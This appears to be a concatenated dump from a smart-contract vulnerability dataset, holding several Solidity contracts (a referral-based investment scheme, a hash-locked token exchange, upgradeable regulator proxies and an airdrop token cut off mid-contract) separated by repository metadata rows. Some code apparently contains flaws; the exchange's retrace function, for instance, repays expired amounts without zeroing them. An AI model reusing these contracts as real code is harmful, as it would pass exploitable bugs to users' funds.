return users[user].totalBonus.sub(users[user].bonus);
}
function getPlanInfo(uint8 plan) public view returns(uint256 time, uint256 percent) {
time = plans[plan].time;
percent = plans[plan].percent;
}
function getUserInfoBlocked(address user_) public view returns(bool state, uint8 times, uint256 investPenalty, uint256 date) {
BlockedState memory _blocked = users[user_].blocked;
state = _blocked.state;
times = _blocked.times;
investPenalty = _blocked.investPenalty;
date = _blocked.date;
}
function getUserDepositInfo(address user_, uint256 index) public view returns(uint8 plan, uint256 percent, uint256 amount, uint256 start, uint256 finish) {
User storage user = users[user_];
plan = user.deposits[index].plan;
percent = plans[plan].percent;
amount = user.deposits[index].amount;
start = user.deposits[index].start;
finish = user.deposits[index].start.add(plans[user.deposits[index].plan].time.mul(1 days));
}
function getUserReferenceInfo(address user_, address referral_) public view returns(uint256 percent, uint256 amount) {
percent = users[user_].referrals[referral_].percent;
amount = users[user_].referrals[referral_].amountPaid;
}
function getUserInfo(address user_) public view returns(uint256 checkpoint, bool blocked, uint256 referrals, uint256 totalBonus, uint256 withdrawn, uint256 dividends) {
checkpoint = getUserCheckpoint(user_);
blocked = users[user_].blocked.state;
referrals = getUserReferralsCount(user_);
totalBonus = getUserReferralTotalBonus(user_);
withdrawn = getUserTotalWithdrawn(user_);
dividends = getUserDividends(user_);
}
/// @dev Utils and functions internal
function definedBLocked(User storage user, uint256 amount) internal {
if(user.blocked.times > 1){
user.blocked.state = true;
user.blocked.investPenalty = amount.mul(PERCENTS_PENALTY).div(PERCENTS_DIVIDER);
totalUserBlocked++;
if(user.blocked.date == 0){
user.blocked.date = block.timestamp.add(DAYS_NOT_WHALE);
}else if(user.blocked.date <= block.timestamp) {
user.blocked.state = false;
totalUserBlocked--;
}
}
}
function resetBlocked(address user) internal {
users[user].blocked.state = false;
users[user].blocked.investPenalty = 0;
users[user].blocked.date = 0;
users[user].blocked.times = 0;
}
function definedReferrers(address user_, address referrer_) internal {
for(uint8 index = 0; index < REFERRAL_PERCENTS.length; index++) {
address referrer = index > 0 ? users[referrer_].referral[index.sub(1)] : referrer_;
if(referrer != address(0)){
users[user_].referral[index] = referrer;
users[referrer].referrals[user_] = Referred(REFERRAL_PERCENTS[index],0);
users[referrer].referralsCount = users[referrer].referralsCount.add(1);
}
}
}
function paidReferrers(address user_, uint256 _amount) internal {
for(uint8 index = 0; index < REFERRAL_PERCENTS.length; index++) {
address referrer = users[user_].referral[index];
if(referrer != address(0)){
uint256 amount = _amount.mul(REFERRAL_PERCENTS[index]).div(PERCENTS_DIVIDER);
User storage user = users[referrer];
user.bonus = user.bonus.add(amount);
user.totalBonus = user.totalBonus.add(amount);
user.referrals[user_].amountPaid = user.referrals[user_].amountPaid.add(amount);
}else break;
}
}
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
| 109,007 | 11,153 |
9ef997dc7d2f38040cb91727a2e1f3377eb2b7af08b05e5e8a4c062aba76127f
| 22,398 |
.sol
|
Solidity
| false |
304681119
|
54meteor/palette
|
55e9e4fd024543b989f37560e47c2809ae23e2fc
|
contracts/BBC.sol
| 4,566 | 17,793 |
// SPDX-License-Identifier: MIT
pragma solidity >= 0.5.10;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success,) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract BBCExchange is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
// event
event createOrderEvent(address sender, address sellToken, uint256 sellAmount,
string buyToken, uint256 buyAmount, uint256 fee, address goBetween,
string carryOut, uint256 blockHeight);
event retraceEvent(address indexed _to, uint256 _amount);
event withdrawEvent(address indexed _to, uint256 _amount);
event betweenEvent(address orderAddress, address sellToken,string buyToken, uint256 amount, address buyAddress,
address carryOutAddress, bytes32 randIHash, bytes32 randJHash, string randKey);
event debug(uint256 msg);
//struct
struct TradePair {
address sellToken;
uint256 sellAmount;
string buyToken;
uint256 buyAmount;
}
struct Operate{
address goBetween;//
string carryOut;//
}
struct GoBetween {
uint256 sellAmount;//
uint256 buyAmount;//
address payable buyAddress;//
address carryOut;//
bytes32 randIHash;//IHash
bytes32 randJHash;//JHash
string randKey;//
bytes32 primaryKey;//
uint256 blockNo;//
}
struct Order {
mapping(string => TradePair) tradePair;
mapping(string => Operate) operate;
mapping(bytes32 => GoBetween) betweens;
mapping(bytes32 => bytes32[]) betweensKeys;
address owner;//
string ownerOtherWalletAddress;//
uint256 fee;//
uint256 blockHeight;//
bytes32 primaryKey;//
}
mapping (address => mapping(bytes32 => Order)) public orderList;
function getOrderTradePair(address _user, bytes32 _primaryKey) public view returns(address sellToken,
uint256 sellAmount,
string memory buyToken,
uint256 buyAmount){
TradePair memory _tradePair = orderList[_user][_primaryKey].tradePair["trade"];
return(_tradePair.sellToken, _tradePair.sellAmount, _tradePair.buyToken, _tradePair.buyAmount);
}
function getOrderOperate(address _user, bytes32 _primaryKey) public view returns(address goBetween,
string memory carryOut){
Operate memory _operate = orderList[_user][_primaryKey].operate["operate"];
return(_operate.goBetween, _operate.carryOut);
}
function getBetween(address _user, bytes32 _orderPrimaryKey, bytes32 _betweenPrimaryKey) public view returns(uint256 sellAmount,address buyAddress,address carryOut,
bytes32 randIHash,bytes32 randJHash,string memory randKey, uint256 buyAmount){
GoBetween memory between = orderList[_user][_orderPrimaryKey].betweens[_betweenPrimaryKey];
return (between.sellAmount, between.buyAddress, between.carryOut,
between.randIHash,between.randJHash,between.randKey,between.buyAmount);
}
function createOrder(address sellToken, uint256 sellAmount,
string memory buyToken, uint256 buyAmount, uint256 fee, address goBetween,
string memory carryOut, uint256 blockHeight, string memory ownerOtherWalletAddress,
bytes32 primaryKey) public payable {
require(sellAmount > 0,"createOrder:sellAmount invalid");
require(buyAmount > 0,"createOrder:buyAmount invalid");
require(goBetween != address(0),"createOrder:goBetween invalid");
require(orderList[msg.sender][primaryKey].blockHeight == 0,"createOrder: Order primaryKey is exist()");
require(fee <= 10000 && fee > 0,"createOrder: fee less than 10000 and more than zero");
if (msg.value > 0) {
sellToken = address(0);
sellAmount = msg.value;
}else{
IERC20(sellToken).safeTransferFrom(msg.sender, address(this), sellAmount);
}
orderList[msg.sender][primaryKey] = Order({owner:msg.sender, fee:fee, blockHeight:blockHeight,
ownerOtherWalletAddress:ownerOtherWalletAddress, primaryKey:primaryKey});
orderList[msg.sender][primaryKey].tradePair["trade"] = TradePair(sellToken, sellAmount, buyToken, buyAmount);
orderList[msg.sender][primaryKey].operate["operate"] = Operate(goBetween, carryOut);
emit createOrderEvent(msg.sender, sellToken,sellAmount,buyToken,buyAmount,fee,goBetween,carryOut,blockHeight);
}
//
function goBetween(address orderAddress, address sellToken, uint256 amount, string memory buyToken, uint256 buyAmount,address payable buyAddress,
address carryOutAddress, bytes32 randIHash, bytes32 randJHash, string memory randKey,bytes32 ordrePrimaryKey,bytes32 betweenPrimaryKey) public {
// && &&
require(orderList[orderAddress][ordrePrimaryKey].tradePair['trade'].sellAmount >= amount,"goBetween:sellAmount not enouth");
require(orderList[orderAddress][ordrePrimaryKey].operate["operate"].goBetween == msg.sender,"goBetween:caller is not the goBetween");
require(orderList[orderAddress][ordrePrimaryKey].betweens[betweenPrimaryKey].carryOut == address(0),"createOrder: Between primaryKey is exist()");
//
require(orderList[orderAddress][ordrePrimaryKey].tradePair['trade'].sellToken == sellToken,"goBetween:sellToken invalid");
require(keccak256(abi.encodePacked(orderList[orderAddress][ordrePrimaryKey].tradePair['trade'].buyToken)) == keccak256(abi.encodePacked(buyToken)),"goBetween:buyToken invalid");
//
orderList[orderAddress][ordrePrimaryKey].tradePair['trade'].sellAmount = orderList[orderAddress][ordrePrimaryKey].tradePair['trade'].sellAmount.sub(amount);
orderList[orderAddress][ordrePrimaryKey].betweens[betweenPrimaryKey] =
GoBetween({sellAmount:amount, buyAddress:buyAddress,carryOut:carryOutAddress,randIHash:randIHash,
randJHash:randJHash,randKey:randKey, primaryKey:betweenPrimaryKey, buyAmount:buyAmount, blockNo:block.number});
orderList[orderAddress][ordrePrimaryKey].betweensKeys[ordrePrimaryKey].push(betweenPrimaryKey);
emit betweenEvent(orderAddress,sellToken,buyToken,amount,buyAddress,carryOutAddress,randIHash,randJHash,randKey);
}
//
function carryOut(bytes32 randI, bytes32 randJ, address orderAddress,address payable betweensAddress,
bytes32 ordrePrimaryKey,bytes32 betweenPrimaryKey) public {
uint256 blockNo = orderList[orderAddress][ordrePrimaryKey].blockHeight
.add(orderList[orderAddress][ordrePrimaryKey].betweens[betweenPrimaryKey].blockNo);
require(block.number < blockNo,"carryOut:blockHeight invalid");
GoBetween memory between = orderList[orderAddress][ordrePrimaryKey].betweens[betweenPrimaryKey];
require(between.carryOut == msg.sender,"carryOut:caller is not the carryOut");
require(checkHash(randI,between.randIHash),"carryOut:randI invalid");
require(checkHash(randJ,between.randJHash),"carryOut:randJ invalid");
require(between.sellAmount > 0,"carryOut:sellAmount not enough");
//
uint256 totalAmount = between.sellAmount;
//= fee / 10000)
uint256 fee = totalAmount.mul(orderList[orderAddress][ordrePrimaryKey].fee).div(10000);
//
uint256 buyAmount = totalAmount.sub(fee);
//
uint256 exchange = fee.div(2);
//0
orderList[orderAddress][ordrePrimaryKey].betweens[betweenPrimaryKey].sellAmount = 0;
//
if(orderList[orderAddress][ordrePrimaryKey].tradePair['trade'].sellToken == address(0)){
between.buyAddress.transfer(buyAmount);
msg.sender.transfer(exchange);
betweensAddress.transfer(exchange);
}else{
IERC20(orderList[orderAddress][ordrePrimaryKey].tradePair['trade'].sellToken).safeTransfer(between.buyAddress, buyAmount);
//
IERC20(orderList[orderAddress][ordrePrimaryKey].tradePair['trade'].sellToken).safeTransfer(betweensAddress, exchange);
//
IERC20(orderList[orderAddress][ordrePrimaryKey].tradePair['trade'].sellToken).safeTransfer(msg.sender, exchange);
}
emit withdrawEvent(between.buyAddress,buyAmount);
emit withdrawEvent(betweensAddress,exchange);
emit withdrawEvent(msg.sender,exchange);
}
// // withdraw
//
function retrace(bytes32 ordrePrimaryKey) public returns(bool) {
uint256 _amount = orderList[msg.sender][ordrePrimaryKey].tradePair['trade'].sellAmount;
orderList[msg.sender][ordrePrimaryKey].tradePair['trade'].sellAmount
= orderList[msg.sender][ordrePrimaryKey].tradePair['trade'].sellAmount.sub(_amount);
bytes32[] memory keys = orderList[msg.sender][ordrePrimaryKey].betweensKeys[ordrePrimaryKey];
for(uint j = 0; j < keys.length; j++){
uint256 blockNo = orderList[msg.sender][ordrePrimaryKey].blockHeight
.add(orderList[msg.sender][ordrePrimaryKey].betweens[keys[j]].blockNo);
if (block.number > blockNo){
_amount = _amount.add(orderList[msg.sender][ordrePrimaryKey].betweens[keys[j]].sellAmount);
}
}
if(orderList[msg.sender][ordrePrimaryKey].tradePair['trade'].sellToken == address(0)){
msg.sender.transfer(_amount);
}else{
IERC20(orderList[msg.sender][ordrePrimaryKey].tradePair['trade'].sellToken).safeTransfer(msg.sender, _amount);
}
emit retraceEvent(msg.sender, _amount);
return true;
}
function checkHash(bytes32 _original, bytes32 hash) public pure returns(bool isEqual){
bytes32 original = sha256(abi.encodePacked(_original));
isEqual = (keccak256(abi.encodePacked(original)) == keccak256(abi.encodePacked(hash)));
return (isEqual);
}
}
| 18,492 | 11,154 |
9f4e4f3fa6eafc4b4c5412fcefb8cbf7143210a722a257964170aa28bc4e00d8
| 24,238 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x8180522f083bf9a1f756745e5decff48e007d370.sol
| 3,240 | 13,497 |
pragma solidity ^0.4.24;
contract Proxy {
function () payable external {
_fallback();
}
function _implementation() internal view returns (address);
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize)
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas, implementation, 0, calldatasize, 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize)
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize) }
default { return(0, returndatasize) }
}
}
function _willFallback() internal {
}
function _fallback() internal {
_willFallback();
_delegate(_implementation());
}
}
library AddressUtils {
function isContract(address addr) internal view returns (bool) {
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
// solium-disable-next-line security/no-inline-assembly
assembly { size := extcodesize(addr) }
return size > 0;
}
}
contract UpgradeabilityProxy is Proxy {
event Upgraded(address implementation);
bytes32 private constant IMPLEMENTATION_SLOT = 0x7050c9e0f4ca769c69bd3a8ef740bc37934f8e2c036e5a723fd8ee048ed3f8c3;
constructor(address _implementation) public {
assert(IMPLEMENTATION_SLOT == keccak256("org.zeppelinos.proxy.implementation"));
_setImplementation(_implementation);
}
function _implementation() internal view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
function _setImplementation(address newImplementation) private {
require(AddressUtils.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address");
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
}
contract Ownable {
address public owner;
address public pendingOwner;
event OwnershipTransferred(address indexed previousOwner,
address indexed newOwner);
constructor() public {
owner = msg.sender;
pendingOwner = address(0);
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier onlyPendingOwner() {
require(msg.sender == pendingOwner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != address(0));
pendingOwner = _newOwner;
}
function claimOwnership() onlyPendingOwner public {
emit OwnershipTransferred(owner, pendingOwner);
owner = pendingOwner;
pendingOwner = address(0);
}
}
contract RegulatorStorage is Ownable {
struct Permission {
string name; // A one-word description for the permission. e.g. "canMint"
string description; // A longer description for the permission. e.g. "Allows user to mint tokens."
string contract_name; // e.g. "PermissionedToken"
bool active; // Permissions can be turned on or off by regulator
}
bytes4 public constant MINT_SIG = bytes4(keccak256("mint(address,uint256)"));
bytes4 public constant MINT_CUSD_SIG = bytes4(keccak256("mintCUSD(address,uint256)"));
bytes4 public constant DESTROY_BLACKLISTED_TOKENS_SIG = bytes4(keccak256("destroyBlacklistedTokens(address,uint256)"));
bytes4 public constant APPROVE_BLACKLISTED_ADDRESS_SPENDER_SIG = bytes4(keccak256("approveBlacklistedAddressSpender(address)"));
bytes4 public constant BLACKLISTED_SIG = bytes4(keccak256("blacklisted()"));
mapping (bytes4 => Permission) public permissions;
mapping (address => bool) public validators;
mapping (address => mapping (bytes4 => bool)) public userPermissions;
event PermissionAdded(bytes4 methodsignature);
event PermissionRemoved(bytes4 methodsignature);
event ValidatorAdded(address indexed validator);
event ValidatorRemoved(address indexed validator);
modifier onlyValidator() {
require (isValidator(msg.sender), "Sender must be validator");
_;
}
function addPermission(bytes4 _methodsignature,
string _permissionName,
string _permissionDescription,
string _contractName) public onlyValidator {
Permission memory p = Permission(_permissionName, _permissionDescription, _contractName, true);
permissions[_methodsignature] = p;
emit PermissionAdded(_methodsignature);
}
function removePermission(bytes4 _methodsignature) public onlyValidator {
permissions[_methodsignature].active = false;
emit PermissionRemoved(_methodsignature);
}
function setUserPermission(address _who, bytes4 _methodsignature) public onlyValidator {
require(permissions[_methodsignature].active, "Permission being set must be for a valid method signature");
userPermissions[_who][_methodsignature] = true;
}
function removeUserPermission(address _who, bytes4 _methodsignature) public onlyValidator {
require(permissions[_methodsignature].active, "Permission being removed must be for a valid method signature");
userPermissions[_who][_methodsignature] = false;
}
function addValidator(address _validator) public onlyOwner {
validators[_validator] = true;
emit ValidatorAdded(_validator);
}
function removeValidator(address _validator) public onlyOwner {
validators[_validator] = false;
emit ValidatorRemoved(_validator);
}
function isValidator(address _validator) public view returns (bool) {
return validators[_validator];
}
function isPermission(bytes4 _methodsignature) public view returns (bool) {
return permissions[_methodsignature].active;
}
function getPermission(bytes4 _methodsignature) public view returns
(string name,
string description,
string contract_name,
bool active) {
return (permissions[_methodsignature].name,
permissions[_methodsignature].description,
permissions[_methodsignature].contract_name,
permissions[_methodsignature].active);
}
function hasUserPermission(address _who, bytes4 _methodsignature) public view returns (bool) {
return userPermissions[_who][_methodsignature];
}
}
contract RegulatorProxy is UpgradeabilityProxy, RegulatorStorage {
constructor(address _implementation) public UpgradeabilityProxy(_implementation) {}
function upgradeTo(address newImplementation) public onlyOwner {
_upgradeTo(newImplementation);
}
function implementation() public view returns (address) {
return _implementation();
}
}
contract Regulator is RegulatorStorage {
modifier onlyValidator() {
require (isValidator(msg.sender), "Sender must be validator");
_;
}
event LogBlacklistedUser(address indexed who);
event LogRemovedBlacklistedUser(address indexed who);
event LogSetMinter(address indexed who);
event LogRemovedMinter(address indexed who);
event LogSetBlacklistDestroyer(address indexed who);
event LogRemovedBlacklistDestroyer(address indexed who);
event LogSetBlacklistSpender(address indexed who);
event LogRemovedBlacklistSpender(address indexed who);
function setMinter(address _who) public onlyValidator {
_setMinter(_who);
}
function removeMinter(address _who) public onlyValidator {
_removeMinter(_who);
}
function setBlacklistSpender(address _who) public onlyValidator {
require(isPermission(APPROVE_BLACKLISTED_ADDRESS_SPENDER_SIG), "Blacklist spending not supported by token");
setUserPermission(_who, APPROVE_BLACKLISTED_ADDRESS_SPENDER_SIG);
emit LogSetBlacklistSpender(_who);
}
function removeBlacklistSpender(address _who) public onlyValidator {
require(isPermission(APPROVE_BLACKLISTED_ADDRESS_SPENDER_SIG), "Blacklist spending not supported by token");
removeUserPermission(_who, APPROVE_BLACKLISTED_ADDRESS_SPENDER_SIG);
emit LogRemovedBlacklistSpender(_who);
}
function setBlacklistDestroyer(address _who) public onlyValidator {
require(isPermission(DESTROY_BLACKLISTED_TOKENS_SIG), "Blacklist token destruction not supported by token");
setUserPermission(_who, DESTROY_BLACKLISTED_TOKENS_SIG);
emit LogSetBlacklistDestroyer(_who);
}
function removeBlacklistDestroyer(address _who) public onlyValidator {
require(isPermission(DESTROY_BLACKLISTED_TOKENS_SIG), "Blacklist token destruction not supported by token");
removeUserPermission(_who, DESTROY_BLACKLISTED_TOKENS_SIG);
emit LogRemovedBlacklistDestroyer(_who);
}
function setBlacklistedUser(address _who) public onlyValidator {
_setBlacklistedUser(_who);
}
function removeBlacklistedUser(address _who) public onlyValidator {
_removeBlacklistedUser(_who);
}
function isBlacklistedUser(address _who) public view returns (bool) {
return (hasUserPermission(_who, BLACKLISTED_SIG));
}
function isBlacklistSpender(address _who) public view returns (bool) {
return hasUserPermission(_who, APPROVE_BLACKLISTED_ADDRESS_SPENDER_SIG);
}
function isBlacklistDestroyer(address _who) public view returns (bool) {
return hasUserPermission(_who, DESTROY_BLACKLISTED_TOKENS_SIG);
}
function isMinter(address _who) public view returns (bool) {
return (hasUserPermission(_who, MINT_SIG) && hasUserPermission(_who, MINT_CUSD_SIG));
}
function _setMinter(address _who) internal {
require(isPermission(MINT_SIG), "Minting not supported by token");
require(isPermission(MINT_CUSD_SIG), "Minting to CUSD not supported by token");
setUserPermission(_who, MINT_SIG);
setUserPermission(_who, MINT_CUSD_SIG);
emit LogSetMinter(_who);
}
function _removeMinter(address _who) internal {
require(isPermission(MINT_SIG), "Minting not supported by token");
require(isPermission(MINT_CUSD_SIG), "Minting to CUSD not supported by token");
removeUserPermission(_who, MINT_CUSD_SIG);
removeUserPermission(_who, MINT_SIG);
emit LogRemovedMinter(_who);
}
function _setBlacklistedUser(address _who) internal {
require(isPermission(BLACKLISTED_SIG), "Self-destruct method not supported by token");
setUserPermission(_who, BLACKLISTED_SIG);
emit LogBlacklistedUser(_who);
}
function _removeBlacklistedUser(address _who) internal {
require(isPermission(BLACKLISTED_SIG), "Self-destruct method not supported by token");
removeUserPermission(_who, BLACKLISTED_SIG);
emit LogRemovedBlacklistedUser(_who);
}
}
contract RegulatorProxyFactory {
// TODO: Instead of a single array of addresses, this should be a mapping or an array
// of objects of type { address: ...new_regulator, type: whitelisted_or_cusd }
address[] public regulators;
// Events
event CreatedRegulatorProxy(address newRegulator, uint256 index);
function createRegulatorProxy(address regulatorImplementation) public {
// Store new data storage contracts for regulator proxy
address proxy = address(new RegulatorProxy(regulatorImplementation));
Regulator newRegulator = Regulator(proxy);
// Testing: Add msg.sender as a validator, add all permissions
newRegulator.addValidator(msg.sender);
addAllPermissions(newRegulator);
// The function caller should own the proxy contract, so they will need to claim ownership
RegulatorProxy(proxy).transferOwnership(msg.sender);
regulators.push(proxy);
emit CreatedRegulatorProxy(proxy, getCount()-1);
}
function addAllPermissions(Regulator regulator) public {
// Make this contract a temporary validator to add all permissions
regulator.addValidator(this);
regulator.addPermission(regulator.MINT_SIG(), "", "", "");
regulator.addPermission(regulator.DESTROY_BLACKLISTED_TOKENS_SIG(), "", "", "");
regulator.addPermission(regulator.APPROVE_BLACKLISTED_ADDRESS_SPENDER_SIG(), "", "", "");
regulator.addPermission(regulator.BLACKLISTED_SIG(), "", "", "");
regulator.addPermission(regulator.MINT_CUSD_SIG(), "", "", "");
regulator.removeValidator(this);
}
// Return number of proxies created
function getCount() public view returns (uint256) {
return regulators.length;
}
// Return the i'th created proxy. The most recently created proxy will be at position getCount()-1.
function getRegulatorProxy(uint256 i) public view returns(address) {
require((i < regulators.length) && (i >= 0), "Invalid index");
return regulators[i];
}
}
| 179,136 | 11,155 |
a6c944136e72700af0817b21a9fded82c5df07b4281d766dffdf64470b82ed46
| 10,845 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0xe0b9bca98a76656e82482030bd129b6e6371dee4.sol
| 2,787 | 10,399 |
pragma solidity ^0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ForeignToken {
function balanceOf(address _owner) constant public returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract AFRI is ERC20 {
using SafeMath for uint256;
address owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => bool) public Claimed;
string public constant name = "AFRI";
string public constant symbol = "AFR";
uint public constant decimals = 8;
uint public deadline = now + 37 * 1 days;
uint public round2 = now + 32 * 1 days;
uint public round1 = now + 22 * 1 days;
uint256 public totalSupply = 1000000e8;
uint256 public totalDistributed;
uint256 public constant requestMinimum = 1 ether / 100000; // 0.00001 Ether
uint256 public tokensPerEth = 2500e8;
uint public target0drop = 1000000;
uint public progress0drop = 0;
//here u will write your ether address
address multisig = 0xFdde77aFD3cCF136d44317937058B5A31E9B6107
;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Distr(address indexed to, uint256 amount);
event DistrFinished();
event Airdrop(address indexed _owner, uint _amount, uint _balance);
event TokensPerEthUpdated(uint _tokensPerEth);
event Burn(address indexed burner, uint256 value);
event Add(uint256 value);
bool public distributionFinished = false;
modifier canDistr() {
require(!distributionFinished);
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
constructor() public {
uint256 teamFund = 84000e8;
owner = msg.sender;
distr(owner, teamFund);
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function finishDistribution() onlyOwner canDistr public returns (bool) {
distributionFinished = true;
emit DistrFinished();
return true;
}
